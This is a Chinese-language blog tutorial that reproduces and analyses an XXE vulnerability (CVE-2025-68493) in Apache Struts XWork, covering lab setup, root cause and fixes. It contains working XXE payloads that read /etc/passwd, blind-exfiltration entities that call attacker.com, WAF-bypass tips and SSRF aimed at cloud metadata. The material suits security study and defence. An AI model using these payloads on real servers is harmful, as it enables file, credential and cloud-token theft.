
1. 项目概述一次针对Apache Struts XWork组件XXE漏洞的深度复现与剖析最近在安全圈里Apache Struts框架的一个新漏洞CVE-2025-68493引起了不小的讨论。这个漏洞本质上是XWork组件在处理XML请求时存在的一个XXEXML External Entity漏洞。对于做Web应用安全测试或者红队演练的朋友来说Struts的漏洞从来都是“兵家必争之地”毕竟历史上由它引发的安全事件太多了。这次我花了些时间在可控的测试环境中完整地复现了这个漏洞并深入分析了它的成因、利用条件以及在实际渗透测试中可能遇到的“坑”。这篇文章我就把自己从环境搭建、漏洞触发到原理分析的完整过程以及一些实战中的思考系统地梳理出来。无论你是想了解这个新漏洞的细节还是希望掌握一套通用的XXE漏洞分析与复现方法相信都能从中找到有价值的内容。简单来说CVE-2025-68493允许攻击者通过构造恶意的XML请求在使用了受影响版本Struts框架的服务器上读取任意文件甚至可能造成服务器端请求伪造SSRF。这听起来像是经典XXE漏洞的“标准剧本”但在Struts这个特定场景下触发点和利用链有其独特之处。复现过程不仅是对一个CVE编号的验证更是理解Struts框架内部工作机制和XML解析风险点的绝佳机会。下面我就带你一步步走完这个流程。2. 漏洞背景与核心原理深度解析2.1 Apache Struts与XWork组件的关系梳理要理解这个漏洞首先得厘清Apache Struts、Struts2和XWork这几个经常被混用的概念。很多刚接触的朋友可能会觉得混乱这里我简单梳理一下。Apache Struts本身是一个经典的MVC框架。而我们现在常说的“Struts漏洞”大多指的是Struts2的漏洞。Struts2并非Struts 1的简单升级版它实质上是WebWork框架和Struts思想的融合体。XWork正是这个融合体的核心命令框架。你可以把XWork理解为Struts2的“发动机”它负责处理所有的用户请求、执行动作Action、进行数据绑定和类型转换等核心流程。Struts2的很多特性比如强大的OGNL表达式、拦截器栈、值栈ValueStack其底层支撑都是XWork。那么XXE漏洞是怎么和XWork扯上关系的呢这就要说到Web应用处理客户端数据的一种常见方式。当客户端比如一个表单或者一个API调用向服务器提交数据时这些数据可以通过多种格式编码最常见的是application/x-www-form-urlencoded标准表单格式和application/jsonJSON格式。除此之外还有一种相对古老但仍在某些场景下使用的格式application/xml。当框架接收到一个Content-Type为application/xml的HTTP请求时它就需要调用底层的XML解析器如Java内置的JAXP API具体实现可能是Xerces、Crimson等来解析请求体中的XML数据并将其转换为框架内部可以处理的Java对象。2.2 XXE漏洞原理与在Struts中的触发点XXE全称XML External Entity Injection即XML外部实体注入。要理解它你得先知道XML实体是什么。在XML中实体是一种占位符用于定义引用一段文本或数据。例如lt;代表小于号“”。而“外部实体”允许我们从本地文件系统或远程URL中加载数据。其语法通常如下!DOCTYPE foo [ !ENTITY xxe SYSTEM file:///etc/passwd ]在解析XML时解析器会将实体xxe;替换为file:///etc/passwd文件的内容。一个安全的XML解析器应该禁用外部实体加载功能。然而在历史上许多XML解析器的默认配置或某些框架的封装方式并不安全它们可能默认允许加载外部实体或者提供了可配置的选项但开发者未正确设置。在Struts2通过XWork的场景下漏洞触发的关键路径在于当请求的Content-Type为application/xml时Struts2的某个拦截器或参数处理器会尝试使用一个未安全配置的XML解析器来解析请求体。攻击者就可以在XML中插入恶意的外部实体声明当解析器处理这个XML时就会去读取攻击者指定的敏感文件如/etc/passwd,C:\Windows\win.ini并将文件内容作为XML的一部分返回给攻击者。CVE-2025-68493正是这样一个案例。在特定版本的Struts2中处理application/xml格式参数的代码路径没有对使用的XML解析器例如DocumentBuilderFactory进行安全加固导致外部实体注入成为可能。注意XXE的利用不仅限于文件读取。通过http://或ftp://等协议可以构造SSRF攻击探测内网服务在某些特定解析器配置下甚至可能造成拒绝服务如“亿笑”攻击或执行某些特定操作。但在本次复现中我们主要聚焦于最常见的文件读取利用方式。2.3 影响范围与修复版本确认根据官方公告和我们的分析这个漏洞影响Apache Struts 2的特定版本。通常Struts团队会很快发布修复版本。在进行任何安全研究或测试之前首要且必须的一步就是确认漏洞的影响范围和修复状态。你需要访问Apache Struts的官方安全公告页面。对于CVE-2025-68493官方会明确指出受影响的版本号范围例如“Struts 2.5.0 to 2.5.32”和“Struts 6.0.0 to 6.3.0”等并给出修复版本如“升级至Struts 2.5.33或Struts 6.3.1”。为什么必须强调这一点因为漏洞复现的环境必须是受影响的、未修复的版本。使用已修复的版本进行测试是徒劳的。同时了解修复版本也能帮助我们通过代码对比diff来精准定位漏洞的根源——即修复补丁修改了哪几行代码这往往是理解漏洞本质最直接的方式。在我们的复现环境中我选择了一个明确受影响的Struts2版本例如2.5.30和一个对应的Java Web容器如Tomcat 9进行搭建。3. 漏洞复现环境搭建与配置3.1 实验环境规划与工具准备漏洞复现必须在隔离、可控的环境中进行严禁对任何非授权系统进行测试。我采用的是本地虚拟机环境。基础环境操作系统Ubuntu 22.04 LTS 或 Windows 10/11。Linux环境下路径和命令更清晰。Java环境JDK 8 或 JDK 11。Struts2对JDK版本有一定要求建议使用与漏洞版本兼容的JDK。我使用JDK 8u381。安装后务必确认java和javac命令可用并设置好JAVA_HOME环境变量。Web容器Apache Tomcat 9.0.x。从官网下载Core版本的zip包即可无需安装。漏洞应用我们需要一个使用了受影响版本Struts2的Web应用。有两种方式自行构建创建一个简单的Maven项目在pom.xml中引入存在漏洞的Struts2核心库如struts2-core:2.5.30。使用现有测试应用网络上存在一些用于安全测试的“靶场”应用其中可能集成了存在漏洞的Struts2版本。务必从可信来源获取并在隔离环境中运行。攻击/测试工具Burp Suite Professional/Community用于拦截、修改和重放HTTP请求是Web漏洞测试的瑞士军刀。社区版足以完成本次复现。cURL命令行HTTP工具用于快速发送测试请求。浏览器用于初步访问应用。3.2 部署存在漏洞的Struts2应用这里我以自行构建一个最简单的Struts2 Demo应用为例这能让你更清楚地理解整个流程。步骤一创建项目结构。在任意目录下创建如下文件和文件夹struts2-xxe-demo/ ├── WEB-INF/ │ ├── web.xml │ └── classes/ │ └── (编译后的class文件会在这里) ├── src/ │ └── com/ │ └── demo/ │ └── action/ │ └── HelloWorldAction.java └── pom.xml (如果使用Maven)步骤二编写web.xml。这是Java Web应用的部署描述符用于配置Struts2的核心过滤器。?xml version1.0 encodingUTF-8? web-app xmlnshttp://xmlns.jcp.org/xml/ns/javaee xmlns:xsihttp://www.w3.org/2001/XMLSchema-instance xsi:schemaLocationhttp://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd version4.0 filter filter-namestruts2/filter-name filter-classorg.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter/filter-class /filter filter-mapping filter-namestruts2/filter-name url-pattern/*/url-pattern /filter-mapping /web-app步骤三编写一个简单的Action类。这个类包含一个属性message和对应的setter方法。Struts2会自动将请求参数绑定到Action的属性上。package com.demo.action; import com.opensymphony.xwork2.ActionSupport; public class HelloWorldAction extends ActionSupport { private String message; private String data; // 用于接收可能的XML数据 public String getMessage() { return message; } public void setMessage(String message) { this.message message; } public String getData() { return data; } public void setData(String data) { this.data data; // 注意这里就是潜在的注入点。如果框架用不安全的XML解析器来解析请求并调用此setter就可能触发XXE。 } public String execute() { message Hello from Action! Data received: data; return SUCCESS; } }步骤四配置struts.xml。这个文件告诉Struts2如何将URL请求映射到具体的Action类。将其放在src/resources/或WEB-INF/classes/目录下。?xml version1.0 encodingUTF-8 ? !DOCTYPE struts PUBLIC -//Apache Software Foundation//DTD Struts Configuration 2.5//EN http://struts.apache.org/dtds/struts-2.5.dtd struts package namedefault namespace/ extendsstruts-default action namehello classcom.demo.action.HelloWorldAction result/index.jsp/result /action /package /struts步骤五准备依赖库。这是最关键的一步。我们需要引入存在漏洞版本的struts2-core库。如果你使用Maven在pom.xml中添加dependency groupIdorg.apache.struts/groupId artifactIdstruts2-core/artifactId version2.5.30/version !-- 这是一个受影响的示例版本请根据实际CVE公告确认 -- /dependency然后使用mvn clean package命令打包成WAR文件。如果不使用Maven则需要手动下载struts2-core-2.5.30.jar及其所有传递依赖的JAR包放入WEB-INF/lib/目录下。步骤六部署到Tomcat。将生成的WAR文件或整个编译好的应用目录复制到Tomcat的webapps/目录下。启动Tomcat运行bin/startup.bat或./bin/startup.sh。访问http://localhost:8080/你的应用名/hello.action如果能看到页面说明基础环境搭建成功。实操心得手动管理Struts2的依赖库非常繁琐极易出现版本冲突或缺少JAR包导致ClassNotFoundException。强烈建议使用Maven或Gradle进行构建。在复现特定漏洞时锁定依赖版本号至关重要。4. 漏洞利用过程与Payload构造详解环境就绪后我们进入最核心的漏洞触发环节。我们的目标是向这个Struts2应用发送一个特殊的XML请求使其中的XXE payload被执行从而读取服务器上的一个敏感文件。4.1 探测XML解析端点并非所有Struts2 Action都支持application/xml格式的请求。我们需要找到那些能够接收复杂参数、或者其参数处理器可能调用XML解析的端点。一种常见的方法是正常交互先用浏览器或Burp以普通表单形式application/x-www-form-urlencoded提交一个请求例如POST到/hello.action参数为datatest。修改Content-Type在Burp Suite中拦截这个请求将Content-Type头修改为application/xml。构造简单XML将请求体改为一个最简单的XML结构尝试绑定到Action的属性上。例如map datatestValue/data /map或者根据Struts2某些参数处理器的特性尝试不同的根元素。观察响应如果应用正常处理了请求并返回了包含“testValue”的响应说明这个端点可能接受XML输入。如果返回400错误或栈错误则可能不支持需要尝试其他Action或不同的XML结构。这个过程需要一些耐心和猜测。有时相关的参数名可能来源于Action的属性名如本例中的data有时则可能是框架约定的固定名称。4.2 构造并发送XXE Payload一旦确认某个端点可以处理XML我们就可以注入恶意的外部实体声明了。一个经典的用于文件读取的XXE Payload如下?xml version1.0 encodingUTF-8? !DOCTYPE foo [ !ENTITY xxe SYSTEM file:///etc/passwd ] map dataxxe;/data /map发送请求使用Burp Suite的Repeater模块或cURL命令发送这个请求。Burp Suite在拦截的请求上右键发送到Repeater。在Repeater中修改请求头Content-Type: application/xml并将上述Payload粘贴到请求体中发送。cURL命令curl -X POST http://localhost:8080/struts2-demo/hello.action \ -H Content-Type: application/xml \ --data-binary payload.xml其中payload.xml文件包含了上面的XML内容。4.3 解读响应与利用成功判断发送Payload后我们需要仔细分析服务器的响应。成功利用的迹象直接回显服务器响应中直接包含了目标文件如/etc/passwd的内容。这是最理想的情况。Hello from Action! Data received: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin ...这表明外部实体xxe;被成功解析并替换为文件内容然后赋值给了Action的data属性最后在页面中显示出来。错误信息泄露响应可能是一个错误页面如500 Internal Server Error但错误信息中包含了文件内容。这是因为文件内容被注入后可能导致XML格式错误或后续处理异常但文件内容已经被读取并混入了异常信息中。带外数据通道如果目标服务器无法回显文件内容盲XXE我们可以尝试使用http://协议让服务器向我们的监听服务器发起请求从而将数据带出。例如!ENTITY % dtd SYSTEM http://attacker.com/evil.dtd %dtd;其中evil.dtd是一个存放在我们可控服务器上的外部DTD文件内容可能包含参数实体等更复杂的利用方式。这种方式在实战中用于探测漏洞存在性或利用更复杂的场景。失败的情况服务器返回400 Bad Request提示XML解析错误但未包含文件内容。这可能是因为XML格式不正确或者解析器在早期就因实体问题而终止。服务器返回200但响应中未出现预期文件内容。这可能意味着该端点确实不支持外部实体注入解析器已安全配置。文件路径不正确或权限不足。Payload的构造方式如根元素、参数名与目标处理逻辑不匹配。注意事项在测试文件读取时尽量选择所有类Unix系统都存在的、内容可读的/etc/passwd文件或者Windows下的C:\Windows\win.ini。这有助于快速确认漏洞是否存在。避免尝试读取可能不存在的文件以免产生无谓的错误干扰判断。5. 漏洞根因分析与代码层追溯复现成功只是第一步理解“为什么”会发生才是提升技术能力的关键。我们需要深入代码层面看看漏洞到底出在哪里。5.1 定位关键代码参数解析器Struts2通过一系列的拦截器Interceptor来处理请求。其中ParametersInterceptor负责将请求参数来自URL、表单、XML等设置到Action的属性上。对于application/xml格式的请求Struts2会使用特定的ContentTypeHandler来处理。在存在漏洞的版本中处理application/xml的Handler可能是XmlContentTypeHandler或其相关类内部会使用Java的DocumentBuilderFactory来解析XML。问题的核心就在于创建DocumentBuilderFactory实例后没有进行安全配置。关键的不安全代码模式可能如下DocumentBuilderFactory factory DocumentBuilderFactory.newInstance(); DocumentBuilder builder factory.newDocumentBuilder(); // ... 使用builder解析来自HTTP请求的XML输入 ...这段代码使用了newInstance()其返回的解析器默认属性取决于具体的JAXP实现。在许多JDK版本和XML解析库中外部实体扩展External Entity Expansion默认可能是启用的或者相关安全特性如XMLConstants.FEATURE_SECURE_PROCESSING未被显式开启。5.2 安全配置缺失项一个安全的XML解析器配置必须至少包含以下几步DocumentBuilderFactory factory DocumentBuilderFactory.newInstance(); // 关键安全配置开始 factory.setFeature(http://xml.org/sax/features/external-general-entities, false); factory.setFeature(http://xml.org/sax/features/external-parameter-entities, false); factory.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true); // 最彻底禁止DTD // 或者使用FEATURE_SECURE_PROCESSING但其限制程度取决于实现 factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true); factory.setXIncludeAware(false); factory.setExpandEntityReferences(false); // 关键安全配置结束 DocumentBuilder builder factory.newDocumentBuilder();CVE-2025-68493的根源就是在Struts2框架处理XML请求的某处代码路径中缺失了上述的安全配置。5.3 如何通过补丁分析定位漏洞学习分析官方补丁是漏洞研究的高级技能。访问Apache Struts的源码仓库如GitHub找到对应版本的修复提交Commit。通过对比修复前后的代码差异diff你可以精准地看到开发者增加了哪些安全设置。例如修复提交可能会在某个ContentTypeHandler的实现类中找到原本创建DocumentBuilderFactory的地方并添加了setFeature调用。这不仅能证实漏洞成因还能让你深刻理解安全编码中针对XML解析的具体要求。6. 实战中的难点、技巧与进阶利用在实际的渗透测试或漏洞挖掘中遇到的情况往往比理想化的实验环境复杂得多。这里分享几个常见的难点和应对技巧。6.1 处理无回显的“盲”XXE很多时候即使成功注入了XXE文件内容也不会直接显示在HTTP响应中。这就是“盲XXE”。对付盲XXE主要依靠“带外数据通道”。利用HTTP协议带出数据这是最常用的方法。让目标服务器向你的公网服务器发起HTTP请求并将文件内容作为请求的一部分如URL参数、子域名发送出来。!ENTITY % file SYSTEM file:///etc/passwd !ENTITY % dtd SYSTEM http://attacker.com/evil.dtd %dtd;在http://attacker.com/evil.dtd中可以定义参数实体将文件内容进行编码如Base64并拼接到一个URL中。!ENTITY % all !ENTITY #x25; send SYSTEM http://attacker.com/exfil?data%file; %all;这种方式对文件内容有字符限制URL长度、特殊字符通常需要结合CDATA或更复杂的技巧。利用FTP/DNS等协议在某些解析器配置下可能支持ftp://或gopher://等协议可以用于端口扫描或数据外泄。6.2 绕过可能的WAF或输入过滤现代应用可能会部署WAFWeb应用防火墙或进行简单的输入过滤拦截包含!DOCTYPE、SYSTEM、file://等关键词的请求。一些绕过思路编码绕过对Payload进行URL编码、HTML实体编码、UTF-16编码等。例如将编码为lt;或%3C。但要注意如果应用在解析前先解码这些编码可能无效如果WAF解码层次不够深则可能绕过。使用CDATA包裹尝试将恶意实体声明放在CDATA块中但这取决于解析器的处理顺序。引用外部DTD将DTD定义完全放在外部服务器上请求中只保留一个很小的引用。这可以避免在请求体中出现明显的恶意关键词。?xml version1.0? !DOCTYPE foo SYSTEM http://attacker.com/evil.dtd mapdataxxe;/data/map利用合法的外部实体如果目标应用本身允许加载某些外部URL如某些SOAP服务可以尝试利用这些白名单中的协议或地址进行SSRF。6.3 从文件读取到SSRF与更深层利用XXE的威力不止于读取文件。通过将SYSTEM后的URI改为http://internal-service:port/可以触发服务器向内部网络发起请求即SSRF。这可以用来探测内网端口和服务根据响应时间或错误信息判断端口开放情况。攻击内网脆弱应用如果内网存在未授权访问的Redis、Memcached等服务甚至可以通过精心构造的XML发起攻击。云元数据窃取在云环境中可以尝试读取云厂商的实例元数据地址如AWS的http://169.254.169.254/获取临时凭证等敏感信息。7. 修复方案与安全开发建议复现和分析漏洞的最终目的是为了修复和预防。对于不同角色应对措施不同。7.1 对于运维与安全人员紧急修复指南如果你的系统使用了受影响的Struts2版本应按照以下优先级进行处理立即升级这是最根本、最推荐的解决方案。将Apache Struts2框架升级到官方已修复的版本如公告中指明的2.5.33或6.3.1及以上。升级前务必在测试环境充分验证兼容性。临时缓解措施如果无法立即升级可以考虑WAF规则在WAF上部署规则拦截Content-Type为application/xml且请求体中包含!DOCTYPE、SYSTEM、ENTITY等关键词的请求。但这种方法可能存在绕过风险。输入过滤在应用前端或网关层对传入的XML请求体进行关键词过滤或彻底禁用application/xmlContent-Type的请求。这属于“伤敌一千自损八百”的方法如果业务确实需要XML接口则不可行。安全配置尝试通过JVM系统属性或创建jaxp.properties文件来全局设置XML解析器的安全特性。但这需要深入理解JAXP实现且不一定对所有组件生效。7.2 对于开发者安全编码实践框架的漏洞需要框架来修复但开发者自身也应建立安全防线。避免不必要的XML解析如果业务不需要尽量避免接受application/xml格式的请求。优先使用JSON等更现代、更安全的格式。使用安全的XML解析器并显式配置如果必须解析XML务必使用安全的配置。无论是使用Java原生的DocumentBuilderFactory、SAXParserFactory还是第三方库如DOM4J、JDOM都必须显式禁用DTD和外部实体。对于DocumentBuilderFactory参考上文5.2节的安全配置代码。对于SAXParserFactory配置方式类似。使用更安全的API考虑使用完全不允许DTD的API如Android提供的XmlPullParser或者使用OWASP推荐的OWASP Java XML Sanitizer等安全库对XML进行清洗。进行代码安全审计与依赖检查定期使用SAST静态应用安全测试工具扫描代码查找不安全的XML解析模式。同时使用SCA软件成分分析工具如OWASP Dependency-Check管理项目依赖及时获知并升级存在已知漏洞的第三方库包括Struts2框架本身。7.3 漏洞复现与研究所必需的伦理与法律边界最后也是最重要的一点必须强调安全研究的红线。仅限授权测试所有漏洞复现、渗透测试行为必须在你自己拥有完全所有权和控制权的环境中进行或者获得目标系统所有者的书面明确授权。未经授权对任何系统进行测试都是非法的。隔离实验环境使用虚拟机、容器或独立的物理机器搭建测试环境确保与生产网络、互联网隔离防止实验性攻击代码意外泄露或执行。负责任披露如果你在非授权的公开产品或系统中发现了漏洞应遵循负责任的漏洞披露流程通常是通过厂商的安全公告板或邮件联系其安全团队给予对方合理的修复时间而不是公开利用代码。技术用于正道掌握漏洞利用技术是为了更好地防御。切勿将技术用于非法入侵、数据窃取或破坏活动。